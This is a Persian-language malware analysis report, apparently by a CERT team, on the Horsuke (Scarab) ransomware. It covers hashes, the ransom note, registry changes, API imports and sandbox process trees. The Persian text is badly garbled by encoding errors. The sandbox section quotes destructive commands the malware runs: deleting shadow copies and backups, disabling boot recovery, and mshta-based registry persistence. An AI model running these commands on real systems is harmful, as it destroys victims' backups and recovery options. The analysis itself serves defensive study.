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 مقدمه :

ٍ ، اس ضزيع فعالیت افشار باجمطاَذٌ ي رغذ فضای سایبزی در سمیىٍ  خبهز   Horsuke خذیهذی بهٍ وها      ومًوه

ي  ویش ضىاختٍ می ضهًد  Scarab-Horsia بٍ وا  ذمی باض Scarab افشار باج اس خاوًادٌکٍ  افشار باجایه  .دَذ می

اضهافٍ   ی رمشگهذاری ضهذٌ  َها  را بٍ اوتُای فایل horsuke@nuke.africa. َا پسًوذ پس اس رمشگذاری فایل

میلادی ضزيع ضذٌ ي بهٍ ورهز    2018سال  می ماٌ افشار درفعالیت ایه باجکٍ دَذ َا وطان میبزرسیکىذ.  می

 AESاس الگهًریت  رمشوگهاری    افهشار  باجایه باضذ. رسذ تمزکش آن بیطتز بز ريی کاربزان اوگلیسی سبان میمی

 ضًد. يارد سیست  لزباوی می (RDPسزيیس دستزسی اس راٌ دير) ي َزسوامٍ ي اس طزیك کىذ استفادٌ می

 

   مشخصات فایل اجرایی :

 inside.exe وا  فایل
Horsuke.exe 

MD5  de8d888889eec2cef5ded828eef9284c 

SHA-1  48eedbb988882aa78a55a872e58e78ffefd8cd8d 

SHA-256 e8c55855cee7e584bde8b9a27c889c89f78979f587a7227c5f458f8ce8b5d8ee 

  KB 94205 اوذاسٌ فایل

  BobSoft Mini Delphi -> BoB / BobSoft  / پکز کامپایلز

 

 بخص است : َطتدارای  افشار باجفایل اخزایی ایه 

 اوذاسٌ خا  اوذاسٌ مداسی آدرس مداسی آوتزيپی وا  بخص
.txt 7.18 4096 236804 237056 

.itext 4.71 241664 692 1024 

.data 4.76 245760 11464 11776 

.bss 0 258048 25304 0 

.idata 4.64 286720 4332 4608 

.tls 0 294912 8 0 

.rdata 0.21 299008 24 512 

.rsrc 8 303104 155708 156160 
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 تحلیل پویا :

فایل اخزایی آن را در محیط آسمایطگاَی اخزا کهزدی  تها عملکهزد     Horsukeافشار  تز باجبزای بزرسی عمیك

 .ا اس وشدیک مًرد بزرسی لزار دَی افشار ر باج

 لبل ي بعذ اس آلًدگی را مطاَذٌ میکىیذ: در دي تػًیز سیز يضعیت فزآیىذَا

 

 افشار  اس اخزای باج در حال اخزای سیست  عامل لبلفزایىذَای : 1تػًیز 
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 کىذ. افشارَا خلًگیزی می فعالیت فزایىذَا ي وز  باضذ ي اس ضزيع در حال اخزا میافشار  : باج2تػًیز 

پهس اس اخهزا اس ضهزيع فعالیهت بزخهی فزآیىهذَا ي        Horsuke افهشار  بهاج َای غًرت گزفتهٍ،   طبك بزرسی

در تمامی ایه پیغا  ضًد کٍ  گطًدٌ می خًاَی باج پیغا  افشار اخزای باجپس اس افشارَا خلًگیزی می کىذ.  وز 

 فًلذرَای رمشگذاری ضذٌ ویش يخًد دارد.

 HOW TO RECOVER ENCRYPTED FILES.TXTبها وها    را Horsuke   افشار باجخًاَی  تػًیز سیز پیغا  باج 

 میىٍ سیست  لزباوی مستمز ضذٌ است :وطان می دَذ کٍ بز ريی پس س
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مخهتع َهز لزبهاوی لهزار دادٌ     کهاراکتز   644با طًل کٍ در ابتذای آن ضىاسٍ ای  ،خًاَی پیغا  باج بز اساس

بٍ فزستادن ایمیهل   ملش لزباوی را  کىذ کٍ فایل َای لزباوی را رمشگذاری کزدٌ ي سپس اعلا  میضذٌ، مُاخ  

مبلغ باج را بٍ غًرت بیت کًیه تعییه کزدٌ ي مُاخ   کىذ. یاد ضذٌ بزای دریافت کلیذ رمشگطا می با ضىاسٍ

ایمیلهی بهٍ   بهزای بزلهزاری ارتبها ،     ضمىاً. بٍ سزعت فزستادن ایمیل بستگی دارد باج مبلغکىذ کٍ  اعلا  می

 ،س ایمیهل مهذکًر  پاسه  ا  عهذ  دریافهت  در غًرت در ورز گزفتٍ ضذٌ کٍ  horsuke@nuke.africaآدرس 

 .  ویش تعبیٍ ضذٌ است saviours@airmail.ccبٍ آدرس  خایگشیهایمیل 

ضهزایط سیهز بهٍ غهًرت رایگهان      يی را تحهت  ی تعذادی اس فایل َا، اطمیىان لزباوی در ادامٍ بزای حػًل

 کىذ : رمشگطایی می

 .کٍ آرضیً وطذٌ باضىذ حذاکثز سٍ فایل -1

 باضذ مگابایت 10 مدمًع حد  فایل َا حذاکثز -2

. (غهفحات اکسهل ي...  ، پطهتیبان َهای   . )پایگاٌ َهای دادٌ، فایهل  فایل َا ضامل اطلاعات ارسضمىذ وباضىذ -3

   دَذ. می بزای تُذیذ لزباویرا ویش دادٌ ي َطذارَایی  مًسشکًیه را آ بیتسپس در ادامٍ وحًٌ تُیٍ 

mailto:horsuke@nuke.africa
mailto:saviours@airmail.cc
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 ویش تعییه وطذٌ است.مُلتی بزای پزداخت باج خًاَی  در پیغا  باج ضمىاً 

 ٍ سمهان ي عهذ  تًاوهایی    مبىهی بهز گذضهت     پس اس بزلزاری ارتبا  بٍ غًرت واضىاس با مُاخ ، پاس  ايلیه

 رمشگطایی بًد :

 

 

را خُت ارسال بٍ آدرس کیه   بیت کًیه  0.7مبلغ  مُاخ دریافت ومًدی  کٍ در آن ایمیلی  در پاس  بعذی

 ومًد.تعییه  1GgRTWRrZ3Xu84XWTpTa46nxoKcGkZHwpFپًل 

 

 

 افشار تزاکىطی وذاضتٍ است.  َای اودا  ضذٌ، در حال حاضز کی  پًل مزبً  بٍ ایه باج طبك بزرسی

 

 

را بٍ اوتُهای   horsuke@nuke.africa.پسًوذ پس اس رمشگذاری  Horsuke افشار باجَماوطًر کٍ اضارٌ ضذ، 

افشار  ذٌ تًسط ایه باجَای رمشگذاری ضفایل دَىذٌتػًیز سیز وطان کىذ. یضذٌ اضافٍ م َای رمشگذاری فایل

 :باضذمی
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 : کىذ فایل اخزایی خًد را ویش رمشگذاری می افشار باج طبك مطاَذات غًرت گزفتٍ،
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 .افشار تغییز پیذا می کىذ ادامٍ، تػًیز پس سمیىٍ تًسط باجدر 

 

ایمیلههی بههٍ آدرس  ،تبزیههک ي اعههلا  رمشگههذاری فایههل َههای لزبههاوی ضههمه  افههشار در ایههه تػههًیز بههاج

horsuke@nuke.africa  ایه تػهًیز بهٍ وها     فایل  کىذ. بٍ لزباوی معزفی میراzHwPYYWRMf.bmp  در

 .لزار گزفتٍ است سیست  لزباویدر درایً اغلی   usersفًلذر

 

ٍ  فایل َای اضافٍ ضذٌ ي تغییهز یافتهٍ در مسهیز درایهً سیسهت       در تػايیز سیز  را   Windowsعامهل ي پًضه

 : مطاَذٌ می کىیذ

mailto:horsuke@nuke.africa
mailto:horsuke@nuke.africa
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تًسهط   (بایهت  0حده    با) ي فایل َای فاق محتًا  Recycle binَای غًرت گزفتٍ، محتًیات طبك بزرسی

 ذاری ومی ضًوذ.گرمشافشار  باج
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 تحلیل ایستا:

 بٍ وتایح سیز دست پیذا کزدی . Horsukeافشار  باج پس اس تحلیل کذ

 
 ومًوٍ فایل لبل ي بعذ اس رمشگذاری
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 بیص اس ديبزابز محتًای ايلیٍ حد  افشيدٌ ضذٌ است.

 

 ومًوٍ فایل بعذ اس رمشگذاری: ٌضذ خایگشیه یَا بایت تعذاد

 

 : سیست  لزباوی لطعٍ کذ دریافت سمان محلی
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 رخیستزی اضافٍ ضذٌ: کلیذ

 HKU\S-1-5-11-1658681581-1618246285-1668418681-1111\Software\zHwPYYWRMf 

 اضافٍ ضذٌ: ممادیز

HKU\.DEFAULT\Software\Classes\Local 

Settings\MuiCache\11\51C82B4E\@C:\Windows\system81\MCTRes.dll,-111115: "Websites for United 

States" 
HKU\.DEFAULT\Software\Classes\Local 

Settings\MuiCache\11\51C82B4E\@C:\Windows\System81\ieframe.dll,-11865: "Favorites Bar" 

HKU\.DEFAULT\Software\Classes\Local Settings\MuiCache\11\51C82B4E\@C:\Program Files\Common 

Files\system\wab81res.dll,-11111: "Contacts" 

HKU\S-1-5-11-1658681581-1618246285-1668418681-1111\Software\Microsoft\Notepad\iPointSize:  

HKU\S-1-5-11-1658681581-1618246285-1668418681-1111\Software\Microsoft\Notepad\lfCharSet:  

HKU\S-1-5-11-1658681581-1618246285-1668418681-1111\Software\Microsoft\Notepad\lfWeight:  

HKU\S-1-5-11-1658681581-1618246285-1668418681-1111\Software\Microsoft\Notepad\lfItalic:  

HKU\S-1-5-11-1658681581-1618246285-1668418681-

1111\Software\Microsoft\Notepad\lfUnderline:  

HKU\S-1-5-11-1658681581-1618246285-1668418681-

1111\Software\Microsoft\Notepad\lfOrientation:  

HKU\S-1-5-11-1658681581-1618246285-1668418681-1111\Software\Microsoft\Notepad\lfStrikeOut:  

HKU\S-1-5-11-1658681581-1618246285-1668418681-

1111\Software\Microsoft\Notepad\lfFaceName: "Fixedsys" 

HKU\S-1-5-11-1658681581-1618246285-1668418681-

1111\Software\Microsoft\Windows\CurrentVersion\Explorer\UserAssist\{CEBFF5CD-ACE1-2F2F-8146-

8818F21428EA}\Count\P:\Hfref\HO-

PREG\Qrfxgbc\r4p55685prr1r881oqr8o2n11p682p42s18212s881n1111p8s186s8pr4o8q4rr.rkr:   

HKU\S-1-5-11-1658681581-1618246285-1668418681-

1111\Software\Microsoft\Windows\CurrentVersion\Run\zHwPYYWRMf: "notepad.exe "C:\Users\UB-

CERT\HOW TO RECOVER ENCRYPTED FILES.TXT"" 

HKU\S-1-5-11-1658681581-1618246285-1668418681-1111\Software\zHwPYYWRMf\idle: "1" 

HKU\S-1-5-16\Software\Classes\Local 

Settings\MuiCache\11\51C82B4E\@C:\Windows\system81\MCTRes.dll,-111115: "Websites for United 

States" 

HKU\S-1-5-16\Software\Classes\Local 

Settings\MuiCache\11\51C82B4E\@C:\Windows\System81\ieframe.dll,-11865: "Favorites Bar" 

HKU\S-1-5-16\Software\Classes\Local Settings\MuiCache\11\51C82B4E\@C:\Program Files\Common 

Files\system\wab81res.dll,-11111: "Contacts" 

 کلیذَای رخیستزی تغییز یافتٍ:

 HKLM\SOFTWARE\Microsoft\Windows NT\CurrentVersion\NetworkList\Profiles\{D2528218-44DE-2451-

818A-1ED562EB6116}\DateLastConnected 

HKLM\SOFTWARE\Microsoft\Windows NT\CurrentVersion\Perflib\118\Counter 

HKLM\SOFTWARE\Microsoft\Windows NT\CurrentVersion\Perflib\CurrentLanguage\Counter 

HKLM\SOFTWARE\Microsoft\Windows Search\UsnNotifier\Windows\Catalogs\SystemIndex\{24124686-

1E8D-11E6-646B-618E8F8E8888}: "41582658" 

HKLM\SOFTWARE\Wow8281Node\Microsoft\Windows NT\CurrentVersion\Perflib\118\Counter 
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HKLM\SOFTWARE\Wow8281Node\Microsoft\Windows NT\CurrentVersion\Perflib\CurrentLanguage\Counter 

HKLM\SYSTEM\ControlSet111\services\SharedAccess\Epoch\Epoch: 

HKLM\SYSTEM\ControlSet111\services\SharedAccess\Epoch1\Epoch: 

HKLM\SYSTEM\ControlSet111\services\Tcpip\Parameters\Interfaces\{6184A6F1-128C-2A22-6F58-

D41BA8D1C1D8}\LeaseObtainedTime:  

HKLM\SYSTEM\ControlSet111\services\Tcpip\Parameters\Interfaces\{6184A6F1-128C-2A22-6F58-

D41BA8D1C1D8}\T1:  

HKLM\SYSTEM\ControlSet111\services\Tcpip\Parameters\Interfaces\{6184A6F1-128C-2A22-6F58-

D41BA8D1C1D8}\T1:  

HKLM\SYSTEM\ControlSet111\services\Tcpip\Parameters\Interfaces\{6184A6F1-128C-2A22-6F58-

D41BA8D1C1D8}\LeaseTerminatesTime: 

HKLM\SYSTEM\ControlSet111\services\VSS\Diag\VolSnap\Volume{24124686-1e8d-11e6-646b-

618e8f8e8888}DeleteProcess (Leave): 

HKLM\SYSTEM\RNG\Seed 
HKLM\SYSTEM\CurrentControlSet\services\SharedAccess\Epoch\Epoch:  

HKLM\SYSTEM\CurrentControlSet\services\SharedAccess\Epoch1\Epoch:  

HKLM\SYSTEM\CurrentControlSet\services\SharedAccess\Epoch1\Epoch:  

HKLM\SYSTEM\CurrentControlSet\services\Tcpip\Parameters\Interfaces\{6184A6F1-128C-2A22-6F58-

D41BA8D1C1D8}\LeaseObtainedTime: 1x5B5DBD8A 

HKLM\SYSTEM\CurrentControlSet\services\Tcpip\Parameters\Interfaces\{6184A6F1-128C-2A22-6F58-

D41BA8D1C1D8}\LeaseObtainedTime: 1x5B5DC618 

HKLM\SYSTEM\CurrentControlSet\services\Tcpip\Parameters\Interfaces\{6184A6F1-128C-2A22-6F58-

D41BA8D1C1D8}\T1:  

HKLM\SYSTEM\CurrentControlSet\services\Tcpip\Parameters\Interfaces\{6184A6F1-128C-2A22-6F58-

D41BA8D1C1D8}\T1: 

HKLM\SYSTEM\CurrentControlSet\services\Tcpip\Parameters\Interfaces\{6184A6F1-128C-2A22-6F58-

D41BA8D1C1D8}\T1:  

HKLM\SYSTEM\CurrentControlSet\services\Tcpip\Parameters\Interfaces\{6184A6F1-128C-2A22-6F58-

D41BA8D1C1D8}\T1:  

HKLM\SYSTEM\CurrentControlSet\services\Tcpip\Parameters\Interfaces\{6184A6F1-128C-2A22-6F58-

D41BA8D1C1D8}\LeaseTerminatesTime:  

HKLM\SYSTEM\CurrentControlSet\services\Tcpip\Parameters\Interfaces\{6184A6F1-128C-2A22-6F58-

D41BA8D1C1D8}\LeaseTerminatesTime:  

HKLM\SYSTEM\CurrentControlSet\services\Tcpip\Parameters\Interfaces\{6184A6F1-128C-2A22-6F58-

D41BA8D1C1D8}\DhcpInterfaceOptions:  

HKLM\SYSTEM\CurrentControlSet\services\VSS\Diag\VolSnap\Volume{24124686-1e8d-11e6-646b-

618e8f8e8888}DeleteProcess (Enter) 

HKLM\SYSTEM\CurrentControlSet\services\VSS\Diag\VolSnap\Volume{24124686-1e8d-11e6-646b-

618e8f8e8888}DeleteProcess (Leave ) 

HKU\S-1-5-11-1658681581-1618246285-1668418681-1111\Control Panel\Desktop\WallpaperStyle: 

"11" 

HKU\S-1-5-11-1658681581-1618246285-1668418681-1111\Control Panel\Desktop\WallpaperStyle: 

"1" 

HKU\S-1-5-11-1658681581-1618246285-1668418681-1111\Control Panel\Desktop\Wallpaper: 

"C:\Users\UB-CERT\AppData\Roaming\Microsoft\Windows\Themes\TranscodedWallpaper.jpg" 

HKU\S-1-5-11-1658681581-1618246285-1668418681-1111\Control Panel\Desktop\Wallpaper: 

"C:\Users\UB-CERT\zHwPYYWRMf.bmp" 
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HKU\S-1-5-11-1658681581-1618246285-1668418681-

1111\Software\Microsoft\Windows\CurrentVersion\Explorer\UserAssist\{CEBFF5CD-ACE1-2F2F-8146-

8818F21428EA}\Count\HRZR_PGYFRFFVBA 

HKU\S-1-5-11-1658681581-1618246285-1668418681-

1111\Software\Microsoft\Windows\CurrentVersion\Explorer\UserAssist\{CEBFF5CD-ACE1-2F2F-8146-

8818F21428EA}\Count\{S86OS212-1Q28-21S1-8815-84QR1O16SP18}\rkcybere.rkr: 

HKU\S-1-5-11-1658681581-1618246285-1668418681-

1111\Software\Microsoft\Windows\CurrentVersion\Explorer\UserAssist\{CEBFF5CD-ACE1-2F2F-8146-

8818F21428EA}\Count\P:\ertfubg_1.6.8_orgn1_jva81_k82\ertfubg_k82.rkr 

HKU\S-1-5-11-1658681581-1618246285-1668418681-1111\Software\Classes\Local 

Settings\Software\Microsoft\Windows\Shell\BagMRU\MRUListEx 

HKU\S-1-5-11-1658681581-1618246285-1668418681-1111\Software\Classes\Local 

Settings\Software\Microsoft\Windows\Shell\Bags\AllFolders\Shell\MinPos1181x581x88(1).x: 

HKU\S-1-5-11-1658681581-1618246285-1668418681-1111\Software\Classes\Local 

Settings\Software\Microsoft\Windows\Shell\Bags\AllFolders\Shell\MinPos1181x581x88(1).y 

HKU\S-1-5-11-1658681581-1618246285-1668418681-1111_Classes\Local 

Settings\Software\Microsoft\Windows\Shell\BagMRU\MRUListEx  

HKU\S-1-5-11-1658681581-1618246285-1668418681-1111_Classes\Local 

Settings\Software\Microsoft\Windows\Shell\Bags\AllFolders\Shell\MinPos1181x581x88(1).x: 1xFFFF6811 

HKU\S-1-5-11-1658681581-1618246285-1668418681-1111_Classes\Local 

Settings\Software\Microsoft\Windows\Shell\Bags\AllFolders\Shell\MinPos1181x581x88(1).y: 1xFFFFFFFF:  

 

 خذيلکٍ در  کىذ یَا استفادٌ م اس َزکذا  اس کتابخاوٍ یبٍ َمزاٌ تًابع یىذيسیي یَا کتابخاوٍافشار اس ایه باج

  : سیز لابل مطاَذٌ است

oleaut23.dll kernel23.dll kernel23.dll kernel23.dll advapi23.dll 
VariantChangeType 
SafeArrayGetLBound 
SafeArrayPtrOfIndex 
SysAllocStringLen 
VariantClear 
SafeArrayCreate 
SysReAllocStringLen 
SafeArrayGetUBound 
VariantCopy 
SysFreeString 
VariantInit 

FindNextFileW 
GetLocaleInfoA 
LocalAlloc 
OpenProcess 
LockResource 
SetFileTime 
GetCommandLineW 
CreateThread 
UnhandledExceptionFilte
r 
MultiByteToWideChar 
GetLocalTime 
GetCPInfo 
GetCommandLineA 
GetProcAddress 
 

GetTickCount 
GetThreadLocale 
GetVersionExA 
GlobalUnlock 
GetModuleFileNameA 
GlobalHandle 
RtlUnwind 
LoadLibraryA 
WinExec 
CreateProcessW 
DeleteCriticalSection 
GetStartupInfoA 
GetDateFormatA 
LoadLibraryExA 
SizeofResource 
 

GetLastError 
GetEnvironmentVariable
A 
GetStdHandle 
FileTimeToDosDateTime 
lstrlenA 
GetModuleFileNameW 
GlobalFree 
WaitForSingleObject 
FreeLibrary 
QueryPerformanceCount
er 
EnterCriticalSection 
 

RegDeleteKeyA 
RegCloseKey 
RegQueryValueEx
A 
RegSetValueExA 
RegEnumValueA 
RegCreateKeyExA 
RegOpenKeyExA 
RegDeleteValueA 
RegEnumKeyExA 

kernel23.dll kernel23.dll wininet.dll user23.dll shell23.dll 

FormatMessageA 
OpenMutexA 

EnumCalendarInfoA 
ReadFile 

InternetReadFile 
InternetOpenUrlA 

CharLowerBuffW 
GetSystemMetrics 

SHGetMalloc 
ShellExecuteW 
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 : کىذ سیز را ایداد میَای پس اس اخزا، فزایىذ Horsukeافشار َای غًرت گزفتٍ، باجبز اساس بزرسی

 HonestSample_5afd4a555513165644caeb88.exe (PID: 1688)  
o cmd.exe /c copy /y "C:\HonestSample_5afd4a555513165644caeb88.exe" 

"%APPDATA%\winlogon.exe" (PID: 1568)  
o HonestSample_5afd4a555513165644caeb88.exe runas (PID: 1353)  

CreateMutexA 
SetFilePointer 
RaiseException 
CompareStringA 
WideCharToMultiByt
e 
GetFileAttributesA 
GetModuleHandleA 
CreatePipe 
FindFirstFileA 
SetEndOfFile 
GlobalReAlloc 
WriteFile 
 

lstrcpynA 
FindFirstFileW 
GetACP 
GetDiskFreeSpaceA 
GlobalLock 
FreeResource 
GlobalAlloc 
TerminateProcess 
CreateProcessA 
FileTimeToLocalFileTime 
InitializeCriticalSection 
LoadResource 
CreateFileW 
VirtualQuery 
VirtualFree 
FindClose 
TlsGetValue 
Sleep 
MoveFileW 
SetFileAttributesW 
TlsSetValue 
CloseHandle 
ExitProcess 
GetCurrentThreadId 
FindResourceA 
VirtualAlloc 
DeleteFileW 
LeaveCriticalSection 

InternetCloseHandl
e 
InternetOpenA 

GetLastInputInfo 
LoadStringA 
DispatchMessageA 
CharLowerBuffA 
SystemParametersInfoW 
CharToOemA 
CharNextA 
CharUpperBuffA 
MessageBoxA 
PeekMessageA 
TranslateMessage 
CharNextW 
GetKeyboardType 
DestroyWindow 

SHGetPathFromIDListW 
SHGetSpecialFolderLocatio
n 

https://www.hybrid-analysis.com/sample/e7c55835cee1e390bde9b4a21c864c74f16414f391a1221c3f038f6ce7b3d7ee/5b09780d7ca3e1435f6f4893#00015342-00003688
https://www.hybrid-analysis.com/sample/e7c55835cee1e390bde9b4a21c864c74f16414f391a1221c3f038f6ce7b3d7ee/5b09780d7ca3e1435f6f4893#00015541-00003968
https://www.hybrid-analysis.com/sample/e7c55835cee1e390bde9b4a21c864c74f16414f391a1221c3f038f6ce7b3d7ee/5b09780d7ca3e1435f6f4893#00015564-00003292
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 cmd.exe /c copy /y 
"C:\HonestSample_5afd4a555513165644caeb88.exe" 
"%APPDATA%\winlogon.exe" (PID: 3134)  

 winlogon.exe (PID: 3323)  
 mshta.exe "javascript:o=new 

ActiveXObject('WScript.Shell');x=new 
ActiveXObject('Scripting.FileSystemObject');setInterval(functio
n(){try{i=x.GetFile('winlogon.exe').Path;o.RegWrite('HKCU\\Sof
tware\\Microsoft\\Windows\\CurrentVersion\\RunOnce\\zH
wPYYWRMf',i);}catch(e){}},31);" (PID: 1656)  

 mshta.exe "javascript:eval(new 
ActiveXObject('WScript.Shell').RegRead('HKCU\\Software\\MC
DVV\\TOFLK'));close();" (PID: 3538)  

 cmd.exe /c wbadmin DELETE SYSTEMSTATEBACKUP -
keepVersions:1 (PID: 3223)  

 wbadmin.exe wbadmin DELETE 
SYSTEMSTATEBACKUP -keepVersions:1 (PID: 
1126)  

 cmd.exe /c wmic SHADOWCOPY DELETE (PID: 464)  
 WMIC.exe wmic SHADOWCOPY DELETE (PID: 

1234)  
 cmd.exe /c vssadmin Delete Shadows /All /Quiet (PID: 

3453)  
 vssadmin.exe vssadmin Delete Shadows /All 

/Quiet (PID: 3516)  
 cmd.exe /c bcdedit /set {default} recoveryenabled No 

(PID: 413)  
 bcdedit.exe bcdedit /set {default} 

recoveryenabled No (PID: 1644)  
 cmd.exe /c bcdedit /set {default} bootstatuspolicy 

ignoreallfailures (PID: 1134)  
 bcdedit.exe bcdedit /set {default} 

bootstatuspolicy ignoreallfailures (PID: 3341)  
 ~wtmp113.exe (PID: 3153)  

 walm.exe (PID: 3148)  
 cmd.exe /c start /max notepad.exe "%USERPROFILE%\HOW 

TO RECOVER ENCRYPTED FILES.TXT" (PID: 1331)  
 notepad.exe "%USERPROFILE%\HOW TO RECOVER 

ENCRYPTED FILES.TXT" (PID: 3556)  
 mshta.exe "javascript:o=new 

ActiveXObject('Scripting.FileSystemObject');setInterval(functio
n(){try{o.DeleteFile('winlogon.exe');close()}catch(e){}},31);" 
(PID: 1333)  

 

https://www.hybrid-analysis.com/sample/e7c55835cee1e390bde9b4a21c864c74f16414f391a1221c3f038f6ce7b3d7ee/5b09780d7ca3e1435f6f4893#00015739-00002324
https://www.hybrid-analysis.com/sample/e7c55835cee1e390bde9b4a21c864c74f16414f391a1221c3f038f6ce7b3d7ee/5b09780d7ca3e1435f6f4893#00015762-00001272
https://www.hybrid-analysis.com/sample/e7c55835cee1e390bde9b4a21c864c74f16414f391a1221c3f038f6ce7b3d7ee/5b09780d7ca3e1435f6f4893#00015952-00003696
https://www.hybrid-analysis.com/sample/e7c55835cee1e390bde9b4a21c864c74f16414f391a1221c3f038f6ce7b3d7ee/5b09780d7ca3e1435f6f4893#00015962-00001928
https://www.hybrid-analysis.com/sample/e7c55835cee1e390bde9b4a21c864c74f16414f391a1221c3f038f6ce7b3d7ee/5b09780d7ca3e1435f6f4893#00016134-00002772
https://www.hybrid-analysis.com/sample/e7c55835cee1e390bde9b4a21c864c74f16414f391a1221c3f038f6ce7b3d7ee/5b09780d7ca3e1435f6f4893#00016220-00003376
https://www.hybrid-analysis.com/sample/e7c55835cee1e390bde9b4a21c864c74f16414f391a1221c3f038f6ce7b3d7ee/5b09780d7ca3e1435f6f4893#00016146-00000464
https://www.hybrid-analysis.com/sample/e7c55835cee1e390bde9b4a21c864c74f16414f391a1221c3f038f6ce7b3d7ee/5b09780d7ca3e1435f6f4893#00016232-00003724
https://www.hybrid-analysis.com/sample/e7c55835cee1e390bde9b4a21c864c74f16414f391a1221c3f038f6ce7b3d7ee/5b09780d7ca3e1435f6f4893#00016160-00002492
https://www.hybrid-analysis.com/sample/e7c55835cee1e390bde9b4a21c864c74f16414f391a1221c3f038f6ce7b3d7ee/5b09780d7ca3e1435f6f4893#00016221-00002936
https://www.hybrid-analysis.com/sample/e7c55835cee1e390bde9b4a21c864c74f16414f391a1221c3f038f6ce7b3d7ee/5b09780d7ca3e1435f6f4893#00016177-00000432
https://www.hybrid-analysis.com/sample/e7c55835cee1e390bde9b4a21c864c74f16414f391a1221c3f038f6ce7b3d7ee/5b09780d7ca3e1435f6f4893#00016233-00003644
https://www.hybrid-analysis.com/sample/e7c55835cee1e390bde9b4a21c864c74f16414f391a1221c3f038f6ce7b3d7ee/5b09780d7ca3e1435f6f4893#00016196-00003024
https://www.hybrid-analysis.com/sample/e7c55835cee1e390bde9b4a21c864c74f16414f391a1221c3f038f6ce7b3d7ee/5b09780d7ca3e1435f6f4893#00016344-00002240
https://www.hybrid-analysis.com/sample/e7c55835cee1e390bde9b4a21c864c74f16414f391a1221c3f038f6ce7b3d7ee/5b09780d7ca3e1435f6f4893#00016589-00002392
https://www.hybrid-analysis.com/sample/e7c55835cee1e390bde9b4a21c864c74f16414f391a1221c3f038f6ce7b3d7ee/5b09780d7ca3e1435f6f4893#00016995-00001048
https://www.hybrid-analysis.com/sample/e7c55835cee1e390bde9b4a21c864c74f16414f391a1221c3f038f6ce7b3d7ee/5b09780d7ca3e1435f6f4893#00020732-00003220
https://www.hybrid-analysis.com/sample/e7c55835cee1e390bde9b4a21c864c74f16414f391a1221c3f038f6ce7b3d7ee/5b09780d7ca3e1435f6f4893#00020749-00002556
https://www.hybrid-analysis.com/sample/e7c55835cee1e390bde9b4a21c864c74f16414f391a1221c3f038f6ce7b3d7ee/5b09780d7ca3e1435f6f4893#00020733-00003212
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 تحلیل ترافیک شبکه :

ي تلاش بزای بزلزاری ارتبا  با میشبهان در   DNSمتًخٍ َیچ گًوٍ درخًاست  تزافیک ضبکٍ،پس اس بزرسی 

 وطذی . Horsukeافشار ی خغزافیایی خاظ تًسط باجومطٍ

 

 

 

 

 

 

 

 

 : VirusTotalخروجی سامانه 

لهادر بهٍ    VirusTotalآوتی يیزيس ي آوتی بهذافشار مًخهًد در سهاماوٍ     67مًرد اس  53تعذاد  اضزدر حال ح

  کىىذ. بًدٌ يآن را حذف یا غیزفعال می افشار باجضىاسایی ایه 
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